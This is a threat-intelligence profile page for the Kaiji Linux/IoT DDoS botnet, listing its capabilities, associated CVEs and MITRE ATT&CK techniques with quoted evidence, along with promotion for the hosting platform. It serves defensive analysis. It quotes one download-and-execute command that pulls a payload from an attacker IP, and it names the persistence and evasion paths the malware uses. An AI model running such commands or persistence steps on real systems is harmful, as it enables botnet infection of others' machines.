Skip to main content
Mallory
Malware4 associated CVEs

Kaiji

Tracked since Dec 10, 2025 · Updated today
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns4Associated
Actors0Associated
ATT&CK35Techniques
IOCs75Tracked
Type
Botnet
Capabilities
DDOSBrute forceInitial accessLateral movementPersistenceDefense evasionReconnaissancePost exploitationSpoofing
Delivery
Cracked software
Platforms
LinuxIOT

Kaiji is a Go-based botnet malware family targeting Linux servers and Internet of Things devices, primarily for distributed denial-of-service attacks. Its custom implant was developed independently rather than derived from Mirai or BillGates code. Kaiji supports TCP and UDP floods, SYN, SYN-ACK and ACK attacks, and IP-spoofing attacks. It also executes arbitrary shell commands, collects host and process information, accepts command-and-control configuration changes, and can remove itself and its persistence mechanisms.

Kaiji initially propagated through SSH brute-force attacks against exposed root accounts. It also attempts lateral movement using existing SSH private keys and host addresses recovered from shell history. Later deployments have exploited vulnerable systems and unauthenticated Docker APIs. In Docker attacks, operators deploy a rogue ARM container that downloads and executes the malware. Observed exploitation activity includes CVE-2024-7954, CVE-2023-1389 and React2Shell, CVE-2025-55182. Shell-based staging scripts deliver architecture-specific payloads.

Kaiji establishes redundant persistence through systemd services, SysVinit startup mechanisms, scheduled jobs and shell startup configuration. Evasion behaviors include impersonating system utilities, relocating legitimate binaries, using bind mounts and modifying SELinux enforcement. Its command-and-control configuration may be encoded or encrypted. Kaiji has appeared in the REF6138 Linux-server intrusion campaign alongside separate cryptocurrency-mining payloads, and Ares builds can deploy XMRig. Chaos is a related successor that shares Kaiji code, but its expanded capabilities should not be assumed to apply to every Kaiji variant.

Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Associated CVEs

Associated vulnerabilities

4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2023-1389via sekoia blogExploited in the wildUnauthenticated Root Command Injection in TP-Link Archer AX21Via our honeypots, we also observed Kaiji spreading through vulnerability exploitation, notably targeting CVE‑2024‑7954 [[URL_2c34c68a_72]] and CVE‑2023‑1389 [[URL_2c34c68a_73]]. | Kaiji is a botnet malware written in the Go programming language, primarily targeting Linux systems and IoT devices.View vulnerability →Source ↗
CVE-2024-7954via sekoia blogExploited in the wildUnauthenticated PHP Code Execution in SPIP porte_plumeVia our honeypots, we also observed Kaiji spreading through vulnerability exploitation, notably targeting CVE‑2024‑7954 [[URL_2c34c68a_72]] and CVE‑2023‑1389 [[URL_2c34c68a_73]]. | Kaiji is a botnet malware written in the Go programming language, primarily targeting Linux systems and IoT devices.View vulnerability →Source ↗
CVE-2025-55182via risky biz rssReact2ShellReact2Shell in Russia: ... In some cases, the final payloads were the Kaiji and Rustobot botnets...View vulnerability →Source ↗
CVE-2024-6387via aquasec blogregreSSHionSantander’s security research team claims this threat actor is targeting security researchers by hiding a malicious backdoor in CVE-2024-6387 proof-of-concept code, and when running the PoC it will lead to infection of the server with Kaiji malware.View vulnerability →Source ↗
MITRE ATT&CK

Techniques & procedures

35 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

2 techniques
T1583.006Web ServicesEvidence1

"...final payloads were the Kaiji and Rustobot botnets and the Sliver implant."

T1587.001MalwareEvidence1

The file share hosted daily uploads of fresh KAIJI samples with previously unseen hashes, and the actors repeatedly attempted to deploy custom-built apache2 binaries.

Initial Access

1 technique
T1190Exploit Public-Facing ApplicationEvidence2

The host was compromised by obtaining arbitrary code execution on a server running Apache2.

Execution

5 techniques
T1053.003CronEvidence5

GSOCKET sets up a cron job that runs its binary with the secret key every minute; KAIJI also alters /etc/crontab to execute /.img as root on a schedule.

T1059Command and Scripting InterpreterEvidence2

wget hxxp://122[.]51[.]133[.]49:10086/VIP –O VIP chmod 777 VIP ./VIP

T1059.004Unix ShellEvidence5

The attacker used the www-data account to download a script named 00.sh; subsequent payloads were executed with sh -c, wget, chmod, and bash.

T1203Exploitation for Client ExecutionEvidence3

The threat actors leveraged the CVE‑2025‑55182 (React2Shell) vulnerability... Under certain conditions, this can enable an attacker to execute arbitrary code on the server.

T1610Deploy ContainerEvidence1

After finding a target, they pinged the Docker server before deploying a rogue ARM container that executed the Kaiji binary.

Persistence

8 techniques
T1037Boot or Logon Initialization ScriptsEvidence2

main_runghost: Install persistence through /etc/profile.d (/etc/profile.d/linux.sh)

T1037.004RC ScriptsEvidence1

".../etc/init.d/dns-udp4 is also created. It is a SysV init script that ensures /boot/system.pub is executed automatically at system startup..."

T1053.003CronEvidence5

GSOCKET sets up a cron job that runs its binary with the secret key every minute; KAIJI also alters /etc/crontab to execute /.img as root on a schedule.

T1505.003Web ShellEvidence1

The Apache backdoor became active again, and gk.php and 404.php PHP payloads were fetched for likely future access.

T1543.002Systemd ServiceEvidence4

main_runkshell: Install persistence through rc.d and Systemd services: Systemd (/etc/systemd/system/linux.service)

T1546Event Triggered ExecutionEvidence3

The detection rule flags suspicious shell configuration-file creation, "aligning with tactics like persistence and event-triggered execution."

T1546.004Unix Shell Configuration ModificationEvidence3

"Adversaries may modify or add a shell configuration file to execute malicious code and gain persistence in the system."

T1556.003Pluggable Authentication ModulesEvidence1

KAIJI adjusts SELinux policies, generates a policy permitting previously denied actions, and installs it with elevated priority.

Privilege Escalation

6 techniques
T1037Boot or Logon Initialization ScriptsEvidence2

main_runghost: Install persistence through /etc/profile.d (/etc/profile.d/linux.sh)

T1037.004RC ScriptsEvidence1

".../etc/init.d/dns-udp4 is also created. It is a SysV init script that ensures /boot/system.pub is executed automatically at system startup..."

T1053.003CronEvidence5

GSOCKET sets up a cron job that runs its binary with the secret key every minute; KAIJI also alters /etc/crontab to execute /.img as root on a schedule.

T1543.002Systemd ServiceEvidence4

main_runkshell: Install persistence through rc.d and Systemd services: Systemd (/etc/systemd/system/linux.service)

T1546Event Triggered ExecutionEvidence3

The detection rule flags suspicious shell configuration-file creation, "aligning with tactics like persistence and event-triggered execution."

T1546.004Unix Shell Configuration ModificationEvidence3

"Adversaries may modify or add a shell configuration file to execute malicious code and gain persistence in the system."

Stealth

7 techniques
T1027Obfuscated Files or InformationEvidence1

some of the C2 addresses are decrypted through a chain of three encryption schemes, while another C2 address is simply encoded in base64

T1036MasqueradingEvidence5

A /usr/bin/lib directory is created and then Kaiji is installed under the filename ‘netstat’, ‘ps’, ‘ls’, or some other system tool name.

T1036.009Break Process TreesEvidence1

PeerBlight overwrites argv[0] in memory to hide its original path ... and replaces it with [ksoftirqd].

T1070Indicator RemovalEvidence2

Afterwards, the script also removed other Linux binaries that are basic components of the operating system but are not necessary for its DDoS operation.

T1070.004File DeletionEvidence1

The commands follow the same methodology: download a shell script, execute it via bash, and in some cases delete the script to remove evidence ( rm -r wocaosinm.sh ).

T1497.001System ChecksEvidence1

ddos_rdemokill: Check the CPU usage machine periodically and kill if CPU usage exceeds 85%.

T1564.001Hidden Files and DirectoriesEvidence1

GSOCKET creates /dev/shm/.gs-1000; KAIJI creates hidden artifacts such as /dev/.img, /dev/.old, and /.img.

Defense Impairment

2 techniques
T1556.003Pluggable Authentication ModulesEvidence1

KAIJI adjusts SELinux policies, generates a policy permitting previously denied actions, and installs it with elevated priority.

T1685Disable or Modify ToolsEvidence2

KAIJI: A DDoS botnet capable of evading detection, setting up persistence, and altering SELinux policies.

Credential Access

3 techniques
T1110Brute ForceEvidence3

In late April we identified a new botnet campaign with definitive Chinese origins, targeting servers and IoT devices via SSH brute forcing.

T1556.003Pluggable Authentication ModulesEvidence1

KAIJI adjusts SELinux policies, generates a policy permitting previously denied actions, and installs it with elevated priority.

T1649Steal or Forge Authentication CertificatesEvidence1

ddos_Rotkit: Tries to connect to known hosts through existing SSH RSA keys or IPs found in bash history

Discovery

4 techniques
T1007System Service DiscoveryEvidence1

whatserver.sh gathers server details including currently listening services, while malware installs and interacts with Systemd and SysVinit services.

T1046Network Service DiscoveryEvidence1

The XORDDoS infection started with the attackers searching for hosts with exposed Docker API ports (2375).

T1082System Information DiscoveryEvidence1

It gathered the following data, which are relevant to its attempt to initiate a DDoS attack: CPU Information MD5 of Running Process Memory Information Network Speed PID of Running Process

T1497.001System ChecksEvidence1

ddos_rdemokill: Check the CPU usage machine periodically and kill if CPU usage exceeds 85%.

Lateral Movement

1 technique
T1021.004SSHEvidence1

another ssh spreader which relies on hijacking local SSH keys to infect known hosts which the server has connected to in the past. | Kaiji spreads exclusively via SSH brute forcing by targeting the root user only.

Collection

1 technique
T1005Data from Local SystemEvidence1

RUDEDEVIL reads /proc/stat and /proc/net/dev, and KAIJI searches audit logs for denied operations.

Command and Control

4 techniques
T1071Application Layer ProtocolEvidence3

doLink routine: Decrypt C2 addresses, register the newly infected server to one of the command servers and launch the doTask and RotKit goroutines.

T1071.001Web ProtocolsEvidence1

"...C2 channels over HTTP/HTTPS and WebSocket (TLS-capable)... The domain su6s.su is used as the C2 server..."

T1090ProxyEvidence1

"...an embedded SOCKS5 and HTTP proxy... proxy malicious traffic, leveraging compromised systems as part of a botnet."

T1105Ingress Tool TransferEvidence7

The actors repeatedly downloaded scripts and binaries with wget and curl, including KAIJI, RUDEDEVIL, GSOCKET, XMRIG, pspy64, and custom payloads.

Impact

1 technique
T1498Network Denial of ServiceEvidence5

For DDoS operations, a target and an attack technique are retrieved. Attacks include: • Two TCPFlood implementations (one with raw sockets) • Two UDPFlood implementations (one with raw sockets) • IPSpoof attack • SYNACK attack • SYN attack • ACK attack

Indicators of compromise

Observables

75 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

View all in app →
Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

39 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

View more in app →
+30 more in the timeline. Sign up to see them
Is this in your environment?See whether this family's indicators match your telemetry and which of your assets are exposed to the CVEs associated with it.
Check your exposure
Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching75Match every observed IP, domain, and hash against your live telemetry.
Associated threat actorsGroups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities4CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping35Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.